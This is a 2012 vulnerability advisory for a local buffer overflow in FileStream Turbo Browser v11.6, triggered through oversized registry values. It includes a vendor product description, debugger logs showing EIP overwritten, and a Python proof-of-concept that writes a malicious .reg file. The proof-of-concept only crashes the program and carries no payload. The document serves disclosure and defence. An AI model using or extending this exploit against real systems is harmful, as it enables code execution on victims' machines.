ADVISORY INFORMATION

  • Product: FileStream Turbo Browser v11.6
  • Vendor URL: https://www.filestream.com
  • Exploitation Technique: Local
  • Severity: Medium
  • CVSS Score: 4.4
  • Status: Published
  • VL-ID: 491

CREDITS

N/A

VERSIONS AFFECTED

N/A

INTRODUCTION

From editing or optimizing individual or groups of digital photos to managing all your PDF and Office Documents, this multiple award winning software lets you organize, group convert and optimize, create DVD/CD, slideshow, group rename, change file properties, print, compress, upload, download, publish Web sites, plus edit HTML, script, text, RTF, and HEX in its color coded editor. There is no other software that lets you do so much all in one place. This latest new release supports all popular digital camera RAW formats; it also supports burning to Blu-ray and HD-DVD discs.

Photo Editing - The new Digital Darkroom feature offers you many essential quick fix photo editing tools from single click red eye removal button, auto-fix buttons, to color adjustment sliders for you to improve your photos in a snap. You, as a photography enthusiast, can now manually change white balance, use fill flash, back lighting, and color cast removal tools along with the original shooting information and histogram to fine tune pictures. This new release continues to let you batch convert, optimize, resize, reduce file size, and print single or groups of photos and images.

Manage Documents with a Star - From Acrobat PDF to Office Documents, like Word Processing, Spreadsheet, PowerPoint, it offers you all the essential tools you need to find, view, print, organize, launch and work with them conveniently in one program. Supports internal viewing of 200+ formats. You can mark or tag your frequently used or favorite files with a Star so you can quickly pull them out when you need them. You can also display and reference your file list by Timeline.

Organize and Create DVD/CD - The Organize Wizard lets you organize your photos by name, event, time, or location. Most digital cameras list your photos with serial number style names, which is very hard, if not impossible, to figure out which photo is which. With the additional file management tools like group rename, batch print, zip, unzip, and change file properties, you can organize photos and documents on your hard drives and network fast and easy. Burn them onto DVD/CD with Verify to secure backup protection. You can also create your own Slideshow with just a couple clicks.

Remote Upload, Download, and Publish - You can upload files and images to and download from servers. You can preview and edit before and after the transfer. It supports Quick Publishing for direct editing files on hosting servers.

Color coded HTML, RTF, Text, Script, and Hex Editors - Turbo Browser includes CodeWorks, which is an easy to use, fast and simple HTML and code editor with built-in HTML Helper and side-by side source and Web view. Its friendly assistant helps to make creating and editing code a much easier task.

(Copy of the Vendor Homepage: http://www.filestream.com )

VULNERABILITY DETAILS

A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on FileStream Turbo Browser v11.6

A Buffer Overflow vulnerability is detected on FileStream Turbo Browser v11.6 (current version). The vulnerability is located in the main executeable turbob.exe. During the start of the application different values are read from the registry:

  • Name from [HKEY_CURRENT_USER/Software/FileStream/Turbo Browser/Log]
  • /MyFolder0/, /MyFolder1/ from [HKEY_CURRENT_USER/Software/FileStream\\/Turbo Browser/MyRecent Folder List0]

When inserting an oversized value to the registry values a buffer overflow is triggered. The victim only needs to start the application.

Vulnerable Module(s): [+] Reg-keys: MyFolder0, MyFolder1, Name

— Debugger Logs —

#Disassembly:
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0   F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7   B8 01000000      MOV EAX,1
7C9132CC   75 12            JNZ SHORT ntdll.7C9132E0
7C9132CE   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2   8B5424 10        MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9   8902             MOV DWORD PTR DS:[EDX],EAX
7C9132DB   B8 02000000      MOV EAX,2
7C9132E0   C2 1000          RETN 10


#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012F700
EBP 0012F720
ESI 00000000
EDI 00000000
EIP 42424242


#Dump:
0012FC44  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC4C  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC54  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC5C  41 41 41 41 42 42 42 42  AAAABBBB
0012FC64  00 43 43 43 43 43 43 43  .CCCCCCC
0012FC6C  43 43 43 43 43 43 43 43  CCCCCCCC
0012FC74  43 43 43 43 43 43 43 43  CCCCCCCC


#Stack:
0012F6E8   0012FC5C  ASCII AAAABBBB
0012F6EC   00140000
0012F6F0   001F0520
0012F6F4   0012F708
0012F6F8   7C91D80A  ntdll.7C91D80A
0012F6FC   7C9601E1  ntdll.7C9601E1
0012F700   7C9132A8  RETURN to ntdll.7C9132A8
0012F704   0012F7E8
0012F708   0012FC5C  ASCII AAAABBBB
0012F70C   0012F804
0012F710   0012F7BC
0012F714   0012FC5C  Pointer to next SEH record
0012F718   7C9132BC  SE handler

Picture(s): ../1.png

PROOF OF CONCEPT

The vulnerability can be exploited by local attackers. For demonstration or reproduce …

#!/usr/bin/python
# Exploit Title: FileStream Turbo Browser v11.6 Local Buffer Overflow Vulnerability
# Version:       11.6
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.filestream.com
# Notes:         Vulnerable Reg-keys: MyFolder0, MyFolder1, Name
# Howto:         Import Reg -> Start App

file="poc.reg"

junk1="\x41" * 268
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\FileStream\Turbo Browser\Log]\n"
poc=poc + "\"Name\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

SOLUTION

N/A

REPORT TIMELINE

  • 2012-04-04: Vendor Notification 1
  • 2012-04-05: Vendor Notification 2
  • 2012-04-06: Vendor Notification 3
  • 2012-04-11: Public or Non-Public Disclosure

REFERENCES